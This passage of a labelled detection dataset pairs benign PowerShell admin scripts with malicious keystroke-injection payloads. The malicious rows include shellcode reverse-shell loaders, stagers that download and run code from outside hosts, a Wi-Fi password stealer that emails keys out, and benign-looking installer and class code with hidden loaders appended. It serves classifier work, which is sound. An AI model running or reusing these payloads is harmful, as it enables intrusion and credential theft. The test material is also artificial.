enter",0,0,0.99995005,4.9889448e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_k1iv0cr2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Export-Csv -Path (Join-Path $ReportDir ""network_dns_servers.csv"") -NoTypeInformation enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4370278e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_cp5uhrkd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.502262e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_q22pai70"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.json"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4612167e-05
unknown_key_action ID 05ac:021e Apple:Keyboard enter delay_medium enter unknown_key_action GUI SPACE enter delay_medium enter terminal enter delay_medium enter enter enter delay_medium enter sudo ifconfig en0 ether Original_mac_address enter enter enter delay_long enter sudo rm /etc/resolver/local enter enter enter delay_long enter sudo defaults write /Library/Preferences/com.apple.alf stealthenabled -bool false enter enter enter delay_long enter sudo sysctl -w net.inet.tcp.rfc6298valtso=1 enter enter enter delay_long enter exit enter enter,1,1,5.563145e-05,0.9999443
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_8drz5rgp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 3."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4347275e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0x2d,0xf4,0x46,0x6b,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1934876e-05,0.999948
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_knis97pa"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter",0,0,0.99996567,3.4337776e-05
"win+r powershell enter function Get-ChildItemRecurse{ param( [parameter(Mandatory=$true)] enter [String] $Path, [parameter(Mandatory=$false)] [int] enter enter",1,1,0.009978722,0.9900213
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install openvpn enter A enter enter,0,0,0.99995935,4.069978e-05
"win+r powershell enter Describe ""Clear-Variable DRT Unit Tests"" -Tags ""CI"" { It ""Clear-Variable normal enter variable Name should works""{ Set-Variable foo bar Clear-Variable -Name foo $ enter var1=Get-Variable -Name foo $var1.Name|Should -BeExactly ""foo"" $var1.Value|Sho enter uld -BeNullOrEmpty $var1.Options|Should -BeExactly ""None"" $var1.Description|Sh enter ould -BeNullOrEmpty } It ""Clear-Variable ReadOnly variable Name should throw enter exception and force Clear-Variable should works""{ enter enter",1,1,0.003043263,0.9969567
"win+r enter powershell enter enter enter $global:GitMissing = $false enter enter $requiredVersion = [Version]'1.7.2' enter $script:GitVersion = $requiredVersion enter enter if (!(Get-Command git -TotalCount 1 -ErrorAction SilentlyContinue)) { enter Write-Warning ""git command could not be found. Please create an alias or add it to your PATH."" enter $Global:GitMissing = $true enter return enter } enter enter if ([string](git --version 2> $null) -match '(?<ver>\d+(?:\.\d+)+)') { enter $script:GitVersion = [System.Version]$Matches['ver'] enter } enter enter if ($GitVersion -lt $requiredVersion) { enter Write-Warning ""posh-git requires Git $requiredVersion or better. You have $GitVersion."" enter $false enter } enter else { enter $true enter } enter enter",0,0,0.99991775,8.219515e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x2d,0xc8,0x27,0xba,0xdb,0xd7,0xd9,0x74,0x24,0xf4,0x5f,0x33,0xc9,0xb1,0x57,0x31,0x57,0x13,0x83,0xc7,0x04,0x03,0x57,0x22,0x2a,0xd2,0x46,0xd4,0x28,0x1d,0xb7,0x24,0x4d,0x97,0x52,0x15,0x4d,0xc3,0x17,0x05,0x7d,0x87,0x7a,0xa9,0xf6,0xc5,0x6e,0x3a,0x7a,0xc2,0x81,0x8b,0x31,0x34,0xaf,0x0c,0x69,0x04,0xae,0x8e,0x70,0x59,0x10,0xaf,0xba,0xac,0x51,0xe8,0xa7,0x5d,0x03,0xa1,0xac,0xf0,0xb4,0xc6,0xf9,0xc8,0x3f,0x94,0xec,0x48,0xa3,0x6c,0x0e,0x78,0x72,0xe7,0x49,0x5a,0x74,0x24,0xe2,0xd3,0x6e,0x29,0xcf,0xaa,0x05,0x99,0xbb,0x2c,0xcc,0xd0,0x44,0x82,0x31,0xdd,0xb6,0xda,0x76,0xd9,0x28,0xa9,0x8e,0x1a,0xd4,0xaa,0x54,0x61,0x02,0x3e,0x4f,0xc1,0xc1,0x98,0xab,0xf0,0x06,0x7e,0x3f,0xfe,0xe3,0xf4,0x67,0xe2,0xf2,0xd9,0x13,0x1e,0x7e,0xdc,0xf3,0x97,0xc4,0xfb,0xd7,0xfc,0x9f,0x62,0x41,0x58,0x71,0x9a,0x91,0x03,0x2e,0x3e,0xd9,0xa9,0x3b,0x33,0x80,0xa5,0xd5,0x29,0x4f,0x35,0x42,0xc5,0xc6,0x5b,0xfb,0x7d,0x71,0xef,0x8c,0x5b,0x86,0x10,0xa7,0x95,0x53,0xbd,0x1b,0x85,0x30,0x12,0xf4,0x13,0xe1,0xed,0xa3,0x9b,0xd8,0x5e,0xff,0x09,0xe0,0x33,0xac,0xa5,0x5d,0xb2,0x52,0x36,0x4a,0x38,0x52,0x36,0x8a,0x6f,0x16,0x06,0xc0,0x42,0xe8,0x66,0x84,0xf4,0x5f,0xee,0xbb,0xc2,0x9f,0x25,0x4a,0x0c,0x0c,0xae,0x4d,0xa2,0x53,0xaa,0x1d,0x91,0xc0,0xe4,0xf2,0x43,0x8f,0xe1,0xa0,0x45,0x74,0x09,0x9f,0x0f,0xe0,0xff,0x7f,0x47,0x75,0xcc,0x7f,0x97,0xfc,0xd3,0xea,0x93,0xae,0x79,0xf4,0xcd,0x26,0x0b,0x4c,0x6f,0x30,0x0c,0x85,0xdc,0x6e,0xa0,0x75,0xb4,0xf8,0x6b,0x7c,0x20,0x82,0x8c,0x55,0xd5,0xb4,0x06,0x5c,0x9a,0x41,0x30,0x08,0xd4,0x1f,0x60,0x9f,0xeb,0xb5,0x0f,0x60,0x7b,0x36,0xc0,0x60,0x7b,0x5e,0xe0,0x60,0x3b,0x9e,0xb3,0x08,0xe3,0x3a,0x60,0x2c,0xec,0x96,0x14,0xfd,0x41,0x90,0xfc,0x55,0x0d,0xa2,0x22,0x5a,0xcd,0xf1,0x74,0x32,0xdf,0x63,0xf1,0x20,0x20,0x5e,0x87,0x65,0xaa,0xac,0x03,0x62,0x53,0xec,0x91,0xad,0x26,0x17,0xc1,0xee,0x97,0x3f,0x87,0x0f,0xd8,0x3f,0x59,0xc9,0x15,0xee,0xa9,0x1f,0x77,0xdf,0xf8,0x71,0xb6,0x26,0x31,0x8e;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2220486e-05,0.9999478
"win+r powershell enter unknown_key_action ctrl alt t sudo su enter SUDO_PASS enter apt install net-tools enter IP=""IP"" enter MASK=""MASK"" enter GATEWAY=""GATEWAY"" enter INTERFACE=$(ip route get 8.8.8.8 | awk '{print $5}') enter ifconfig $INTERFACE $IP netmask $MASK up enter history -c enter exit enter enter",1,1,0.0002045937,0.9997954
"win+r powershell enter $wc=NEW-OBject SySTem.NET.WEbCLieNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$Wc.HEadErS.AdD('User-Agent',$u);$wC.PRoxY = [SysT enter em.Net.WeBREQuesT]::DEFAuLTWEbPROxY;$WC.PROxy.CREdeNtIALS = [SYsteM.NET.CREDentI enter aLCAcHE]::DeFauLTNEtwOrkCrEdenTIalS;$K='c433c996947013571747a53c806e586d';$i=0;[ enter chAr[]]$b=([cHar[]]($WC.DOWnLOadStriNG(""http://192.168.1.18:8080/index.asp"")))|% enter {$_-BXor$k[$I++%$K.LengtH]};IEX ($B-JOIn'') enter enter",1,1,5.662458e-05,0.9999434
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_neos3mrr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_200.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter",0,0,0.999966,3.3922825e-05
win+r powershell enter [CmdletBinding()] param( ) Set-StrictMode -Version 'Latest' Write-Verbose ('Ch enter ecking if Carbon module loaded.') if( -not (Get-Module -Name 'Carbon') ) { Writ enter e-Verbose ('Loading Carbon module.') Import-Module -Name (Join-Path -Path $PSSc enter riptRoot -ChildPath '..\Carbon.psd1' -Resolve) -Global } enter enter,1,1,0.005332084,0.9946679
"win+r powershell enter  $ShellApp = new-Object -ComObject shell.application Add-Type -AssemblyName Pr enter esentationFramework [xml]$xaml = @"" <Window xmlns=""http://schemas.microsoft. enter com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2 enter 006/xaml"" Title=""AlliedVOA | Mini Desktop Tool - Folder Shortcuts | v1.5 "" Heig enter ht=""150"" Width=""374"" Background="" <Grid> enter",1,1,0.0007033206,0.99929667
"win+r powershell enter DUCKY_REAL_BEGIN enter REM ======================================== enter REM NullSec Flipper Zero BadUSB enter REM Payload: Network Scanner enter REM Target: Windows 10/11 enter REM ======================================== enter DELAY 1000 enter GUI r enter DELAY 500 enter STRING powershell -w hidden -ep bypass enter ENTER enter DELAY 1000 enter STRING $subnet = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.InterfaceAlias -notlike ""*Loopback*""}).IPAddress -replace '\.\d+$','' enter ENTER enter STRING $results = @() enter ENTER enter STRING 1..254 | ForEach-Object -Parallel { if(Test-Connection -ComputerName ""$using:subnet.$_"" -Count 1 -Quiet -TimeoutSeconds 1){$_} } -ThrottleLimit 50 | ForEach-Object { $results += ""$subnet.$_"" } enter ENTER enter STRING $results | Out-File ""$env:TEMP enter etwork_scan.txt"" enter ENTER enter STRING exit enter ENTER enter DUCKY_REAL_END enter",1,1,5.6889574e-05,0.99994314
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install opera enter A enter enter,0,0,0.9999597,4.030212e-05
"win+r cmd enter cd %USERPROFILE% & netsh wlan show profiles | findstr ""All"" > a.txt enter echo SETLOCAL EnableDelayedExpansion^ enter enter for /f ""tokens=5*"" %%i in (a.txt) do (^ enter enter set val=%%i %%j^ enter enter if ""!val:~-1!"" == "" "" set val=!val:~0,-1!^ enter enter echo !val!^>^>b.txt) > filter.bat enter filter.bat enter (for /f ""tokens=*"" %i in (b.txt) do @echo SSID: %i & netsh wlan show profiles name=""%i"" key=clear | findstr /c:""Key Content"" & echo.) > Log.txt enter exit enter win+r powershell enter del .\a.txt enter del .\b.txt enter del .\filter.bat enter $SMTPServer = 'smtp-mail.outlook.com' enter $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587) enter $SMTPInfo.EnableSSL = $true enter $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YOUR EMAIL HERE', 'YOUR EMAIL PASSWORD HERE') enter $ReportEmail = New-Object System.Net.Mail.MailMessage enter $ReportEmail.From = 'YOUR EMAIL HERE' enter $ReportEmail.To.Add('YOUR EAMIL HERE') enter $ReportEmail.Subject = 'WiFi key grabber' enter $ReportEmail.Body = (Get-Content Log.txt | out-string) enter $SMTPInfo.Send($ReportEmail) enter del Log.txt exit enter",1,1,0.001181318,0.9988187
"win+r enter powershell enter enter enter ""^(254|252|248|240|224|192|128).0.0.0$|^255.(254|252|248|240|224|192|128|0).0.0$|^255.255.(254|252|248|240|224|192|128|0).0$|^255.255.255.(255|254|252|248|240|224|192|128|0)$"" enter [SyStEm.NEt.SERVICePOIntMANaGER]::EXpEcT100ContINuE = 0;$wc=NeW-OBJEcT SYSTem.NeT.WebClieNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wC.HEADeRs.AdD('User-Agent',$u);$Wc.Proxy = [System.NeT.WEBREQUeST]::DEfaUltWebPrOXY;$wc.PROxY.CredeNTiAlS = [SySTeM.NEt.CredENTIalCACHE]::DEfAultNETWORkCreDEnTiAlS;$K='b0baee9d279d34fa1dfd71aadb908c3f';$I=0;[ChaR[]]$b=([CHAR[]]($Wc.DOwnLOADStRIng(""https://dsecti0n.gotdns.ch:8080/index.asp"")))|%{$_-bXOR$k[$i++%$k.LENgTH]};IEX ($B-JOIn'') enter enter",1,1,5.5456607e-05,0.99994457
"win+r enter powershell enter enter enter param( enter [string]$Version, enter [string]$Path, enter [switch]$Force, enter $Update, enter [switch]$Uninstall enter ) enter $Configs = @{ enter Url = ""http://switch.dl.sourceforge.net/project/sevenzip/7-Zip/9.20/7z920-x64.msi"",""http://downloads.sourceforge.net/sevenzip/7za920.zip"" enter Path = ""$(Split-Path -Path $MyInvocation.MyCommand.Definition -Parent)\"" enter } enter enter $Configs | ForEach-Object{ enter enter try{ enter enter $_.Result = $null enter if(-not $_.Path){$_.Path = $Path} enter $Config = $_ enter if(-not $Uninstall){ enter if($_.ConditionExclusion){ enter $_.ConditionExclusionResult = $(Invoke-Expression $Config.ConditionExclusion -ErrorAction SilentlyContinue) enter } enter if(($_.ConditionExclusionResult -eq $null) -or $Force){ enter $_.Downloads = $_.Url | ForEach-Object{ enter Get-File -Url $_ -Path $Config.Path enter } enter $_.Downloads | where{$_.Filename -eq ""7z920-x64.msi""} | ForEach-Object{ enter Start-Process -FilePath ""msiexec"" -ArgumentList ""/i $(Join-Path $_.Path $_.Filename) /quiet /norestart"" -Wait enter } enter $WorkingPath = (Get-Location).Path enter Set-Location ""C:\Program Files\7-Zip\"" enter $_.Downloads | where{$_.Filename -eq ""7za920.zip""} | ForEach-Object{ enter Start-Process -FilePath ""C:\Program Files\7-Zip\7z.exe"" -ArgumentList ""e $(Join-Path $_.Path $_.Filename) -y"" -Wait enter } enter Set-EnvironmentVariableValue -Name ""Path"" -Value "";C:\Program Files\7-Zip\"" -Target ""Machine"" -Add enter Set-Location $WorkingPath enter $_.Downloads | ForEach-Object{ enter Remove-Item $(Join-Path $_.Path $_.Filename) enter } enter if($Update){$_.Result = ""AppUpdated"";$_ enter }else{$_.Result = ""AppInstalled"";$_} enter }else{ enter enter $_.Result = ""ConditionExclusion"";$_ enter } enter }else{ enter enter Get-MSI | where{$_.ProductName -eq ""7-Zip 9.20 (x64 edition)""} | ForEach-Object{ enter Start-Process -FilePath ""msiexec"" -ArgumentList ""/uninstall $($_.LocalPackage) /qn"" -Wait enter } enter enter $Folder = ""C:\Program Files\7-Zip\""; if(Test-Path $Folder){Remove-Item -Path $Folder -Force -Recurse} enter enter Remove-EnvironmentVariableValue -Name Path -Value "";C:\Program Files\7-Zip\"" - hine enter enter $_.Result = ""AppUninstalled"";$_ enter } enter }catch{ enter enter $Config.Result = ""Error"";$Config enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://worldnit.com/KUKU.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.9059337e-05,0.999941
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_4u8lrpa2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.408272e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_6oxiq26n"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.4210956e-05
"win+r enter powershell enter enter enter function Assert-NotEqual enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Position=0)] enter enter $Expected, enter enter [Parameter(Position=1)] enter enter $Actual, enter enter [Parameter(Position=2)] enter enter $Message enter ) enter enter if( $Expected -eq $Actual ) enter { enter Fail ('{0} is equal to {1}. {2}' -f $Expected,$Actual,$Message) enter } enter } enter enter",0,0,0.9999045,9.551915e-05
"win+r enter powershell enter enter enter enum SlackMessageType { enter Normal enter Error enter Warning enter } enter enter class SlackMessage : Message { enter enter [SlackMessageType]$MessageType = [SlackMessageType]::Normal enter enter SlackMessage( enter [string]$To, enter [string]$From, enter [string]$Body = [string]::Empty enter ) { enter $this.To = $To enter $this.From = $From enter $this.Body = $Body enter } enter enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x21,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.121724e-05,0.99994874
